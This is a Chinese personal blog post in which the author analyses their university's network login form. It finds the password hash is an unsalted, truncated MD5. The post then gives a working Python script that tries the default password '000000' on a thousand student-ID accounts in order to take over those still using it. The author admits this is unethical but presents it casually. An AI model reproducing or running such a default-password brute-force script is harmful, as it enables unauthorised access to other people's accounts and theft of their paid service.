昨天同学让我帮忙下篇论文,发现自己的校内上网帐号有一段时间没充值了。登录校园网才能下论文,无奈问了周围的人却发现都没充值!(实验室可以免费上网大家都不充值了么)
懒得去充值,就想会不会有的上网帐号还是用的默认密码?如果有的话,岂不是可以“借来”用一下!虽然有些不道德,但是为了验证心里的想法还是忍不住下手了。
分析请求
首先当然是分析登录请求啦。我们学校的校园网登录网址为10.0.0.55
。所以用 Chrome 打开登录网页,并打开开发者工具 -> Network
,再输入用户名密码,点击登录。可以捕获到 POST 消息。
其中最重要的是两个信息,一个是 Request URL,另一个是 Form Data。前者是提交请求的网址,后者是提交的表单。表单里最重要的是 username 和 password 两个字段。后面的三个字段可以忽略。我们发现,表单中的密码是加密后提交的。会用的什么加密呢?我们去 JS 脚本里找找有什么。
在源代码的 head 标签内发现了大段的 JS 脚本,其中就有关于登录的。其实就是用了简单的 MD5 加密,并将加密结果截取了第 8 到 24 的字符。连 salt 都没有用到。
有了上面这些信息后,我们就可以构造请求了。这当然要拿出 Python 大法了。
模拟登录
用 Python 可以快速实现模拟登录,主要使用了 requests
库。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import requests
url = 'http://10.0.0.55/cgi-bin/do_login'
header = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' }
form_data = {'username':'2220130260', 'password':'8ad9902aecba32e2', 'drop':0, 'type':1, 'n':100 } s = requests.session() response = s.post(url,data = form_data,headers = header) print response.text
|
最终读取 response 的结果,我们可以判断登录是否成功。例如,上述代码运行的结果是password_error
。
借帐号
有了上面的模拟登录,我们就可以把它写成脚本,遍历成百上千个帐号。其实就是用循环构造每一个表单。
这里密码我们使用 hashlib
库来完成 MD5 加密。至于上网帐号,一般都是用学生学号作为上网帐号的,就拿最小的 13 级本科生开刀吧(谁让你们年少无知呢,记得改密码)。像 13 级本科生的学校是 112013
开头,我们就循环前 1000 个学生。
直接给出脚本代码吧!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import requests import hashlib
url = 'http://10.0.0.55/cgi-bin/do_login'
header = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' }
def md5(str): m = hashlib.md5() m.update(str) return m.hexdigest()
def login(form_data): s = requests.session() response = s.post(url,data = form_data,headers = header) return response.content
def tryAccount(id_start,id_end,default_pass): form_data = {'username':'XXXXXX', 'password':'XXXXXX', 'drop':0, 'type':1, 'n':100 } passwd = md5(default_pass)[8:24] form_data['password'] = passwd
for i in range(id_start,id_end): form_data['username'] = str(i) result = login(form_data) if result != 'password_error' and result != 'username_error': print str(i)+"\t"+result print "\n上网不涉密,涉密不上网"
if __name__ == "__main__": ID_START = 1120130000 ID_END = 1120131000 DEFAULT_PASS = "000000" tryAccount(ID_START,ID_END,DEFAULT_PASS)
|
运行脚本后得到如图。
显示的帐号都是用的默认密码的。返回的 response 结果中status_error
表示没充钱,ip_exist_error
表示 IP 尚未下线。显示一串数字的就是可以直接登录的了!记得把帐号还给人家。
虽然最后还是没有下到论文,不过作为程序猿能把自己的想法用所学的实现了想想还是有些小激动的。
PS:发现研究生不改密码的比本科生还多,为什么呢?
-EOF-